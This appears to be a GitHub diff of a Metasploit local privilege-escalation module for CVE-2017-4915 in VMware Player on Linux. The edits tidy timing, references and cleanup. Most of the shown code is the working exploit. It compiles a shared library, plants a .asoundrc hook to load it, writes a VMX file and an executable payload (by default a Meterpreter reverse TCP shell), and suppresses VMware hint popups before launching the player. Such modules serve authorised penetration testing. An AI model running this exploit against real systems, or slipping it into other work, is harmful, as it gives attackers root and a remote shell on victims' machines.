1
1
##
2
- # This module requires Metasploit: http ://metasploit.com/download
2
+ # This module requires Metasploit: https ://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -27,6 +27,7 @@ def initialize(info = {})
27
27
[ 'CVE' , '2017-4915' ] ,
28
28
[ 'EDB' , '42045' ] ,
29
29
[ 'BID' , '98566' ] ,
30
+ [ 'URL' , 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ] ,
30
31
[ 'URL' , 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ] ,
31
32
[ 'URL' , 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
32
33
] ,
@@ -46,7 +47,7 @@ def initialize(info = {})
46
47
'DefaultOptions' =>
47
48
{
48
49
'Payload' => 'linux/x64/meterpreter_reverse_tcp' ,
49
- 'WfsDelay' => 15 ,
50
+ 'WfsDelay' => 30 ,
50
51
'PrependFork' => true
51
52
} ,
52
53
'DefaultTarget' => 1 ,
@@ -60,7 +61,6 @@ def initialize(info = {})
60
61
61
62
def has_prereqs?
62
63
vmplayer = cmd_exec 'which vmplayer'
63
- Rex . sleep 0.5
64
64
if vmplayer . include? 'vmplayer'
65
65
vprint_good 'vmplayer is installed'
66
66
else
@@ -69,7 +69,6 @@ def has_prereqs?
69
69
end
70
70
71
71
gcc = cmd_exec 'which gcc'
72
- Rex . sleep 0.5
73
72
if gcc . include? 'gcc'
74
73
vprint_good 'gcc is installed'
75
74
else
@@ -88,7 +87,6 @@ def check
88
87
89
88
begin
90
89
config = read_file '/etc/vmware/config'
91
- Rex . sleep 0.5
92
90
rescue
93
91
config = ''
94
92
end
@@ -117,16 +115,15 @@ def exploit
117
115
end
118
116
119
117
@home_dir = cmd_exec 'echo ${HOME}'
120
- Rex . sleep 0.5
121
118
unless @home_dir
122
119
print_error "Could not find user's home directory"
123
120
return
124
121
end
122
+ @prefs_file = "#{ @home_dir } /.vmware/preferences"
125
123
126
- fname = rand_text_alphanumeric rand ( 10 ) + 5
127
- @base_dir = "#{ datastore [ 'WritableDir' ] } /. #{ fname } "
124
+ fname = ". #{ rand_text_alphanumeric rand ( 10 ) + 5 } "
125
+ @base_dir = "#{ datastore [ 'WritableDir' ] } /#{ fname } "
128
126
cmd_exec "mkdir #{ @base_dir } "
129
- Rex . sleep 0.5
130
127
131
128
so = %Q^
132
129
/*
@@ -159,11 +156,9 @@ def exploit
159
156
^
160
157
vprint_status "Writing #{ @base_dir } /#{ fname } .c"
161
158
write_file "#{ @base_dir } /#{ fname } .c" , so
162
- Rex . sleep 0.5
163
159
164
160
vprint_status "Compiling #{ @base_dir } /#{ fname } .o"
165
161
output = cmd_exec "gcc -fPIC -shared -o #{ @base_dir } /#{ fname } .so #{ @base_dir } /#{ fname } .c -Wall -ldl -std=gnu99"
166
- Rex . sleep 0.5
167
162
unless output == ''
168
163
print_error "Compilation failed: #{ output } "
169
164
return
@@ -195,71 +190,66 @@ def exploit
195
190
|
196
191
vprint_status "Writing #{ @base_dir } /#{ fname } .vmx"
197
192
write_file "#{ @base_dir } /#{ fname } .vmx" , vmx
198
- Rex . sleep 0.5
199
193
200
194
vprint_status "Writing #{ @base_dir } /#{ fname } .elf"
201
195
write_file "#{ @base_dir } /#{ fname } .elf" , generate_payload_exe
202
- Rex . sleep 0.5
203
196
204
197
vprint_status "Setting #{ @base_dir } /#{ fname } .elf executable"
205
198
cmd_exec "chmod +x #{ @base_dir } /#{ fname } .elf"
206
- Rex . sleep 0.5
207
199
208
200
asoundrc = %Q|
209
201
hook_func.pulse_load_if_running {
210
- lib "#{ @base_dir } /#{ fname } .so"
211
- func "conf_pulse_hook_load_if_running"
202
+ lib "#{ @base_dir } /#{ fname } .so"
203
+ func "conf_pulse_hook_load_if_running"
212
204
}
213
205
|
214
206
vprint_status "Writing #{ @home_dir } /.asoundrc"
215
207
write_file "#{ @home_dir } /.asoundrc" , asoundrc
216
- Rex . sleep 0.5
217
208
218
209
vprint_status 'Disabling VMware hint popups'
219
210
unless directory? "#{ @home_dir } /.vmware"
220
211
cmd_exec "mkdir #{ @home_dir } /.vmware"
221
- Rex . sleep 0.5
222
- @remove_prefs = true
212
+ @remove_prefs_dir = true
223
213
end
224
214
225
- if file? " #{ @home_dir } /.vmware/preferences"
215
+ if file? @prefs_file
226
216
begin
227
- prefs = read_file "#{ @home_dir } /.vmware/preferences"
228
- Rex . sleep 0.5
217
+ prefs = read_file @prefs_file
229
218
rescue
230
219
prefs = ''
231
220
end
232
221
end
233
222
234
- if prefs . nil? || prefs == ''
223
+ if prefs . blank?
235
224
prefs = ".encoding = \" UTF8\" \n "
236
225
prefs << "pref.vmplayer.firstRunDismissedVersion = \" 999\" \n "
237
226
prefs << "hints.hideAll = \" TRUE\" \n "
227
+ @remove_prefs_file = true
238
228
elsif prefs =~ /hints\. hideAll/i
239
229
prefs . gsub! ( /hints\. hideAll.*$/i , 'hints.hideAll = "TRUE"' )
240
230
else
241
231
prefs . sub! ( /\n ?\z / , "\n hints.hideAll = \" TRUE\" \n " )
242
232
end
243
- vprint_status "Writing #{ @home_dir } /.vmware/preferences"
244
- write_file "#{ @home_dir } /.vmware/preferences" , prefs
245
- Rex . sleep 0.5
233
+ vprint_status "Writing #{ @prefs_file } "
234
+ write_file "#{ @prefs_file } " , prefs
246
235
247
236
print_status 'Launching VMware Player...'
248
237
cmd_exec "vmplayer #{ @base_dir } /#{ fname } .vmx"
249
- Rex . sleep 0.5
250
238
end
251
239
252
240
def cleanup
253
- print_status "Removing #{ @base_dir } "
254
- cmd_exec "rm #{ @base_dir } -rf"
255
- Rex . sleep 0.5
241
+ print_status "Removing #{ @base_dir } directory "
242
+ cmd_exec "rm ' #{ @base_dir } ' -rf"
243
+
256
244
print_status "Removing #{ @home_dir } /.asoundrc"
257
- cmd_exec "rm #{ @home_dir } /.asoundrc"
258
- Rex . sleep 0.5
259
- if @remove_prefs
260
- print_status "Removing #{ @home_dir } /.vmware"
261
- cmd_exec "rm #{ @home_dir } /.vmware -rf"
262
- Rex . sleep 0.5
245
+ cmd_exec "rm '#{ @home_dir } /.asoundrc'"
246
+
247
+ if @remove_prefs_dir
248
+ print_status "Removing #{ @home_dir } /.vmware directory"
249
+ cmd_exec "rm '#{ @home_dir } /.vmware' -rf"
250
+ elsif @remove_prefs_file
251
+ print_status "Removing #{ @prefs_file } "
252
+ cmd_exec "rm '#{ @prefs_file } ' -rf"
263
253
end
264
254
end
265
255
0 commit comments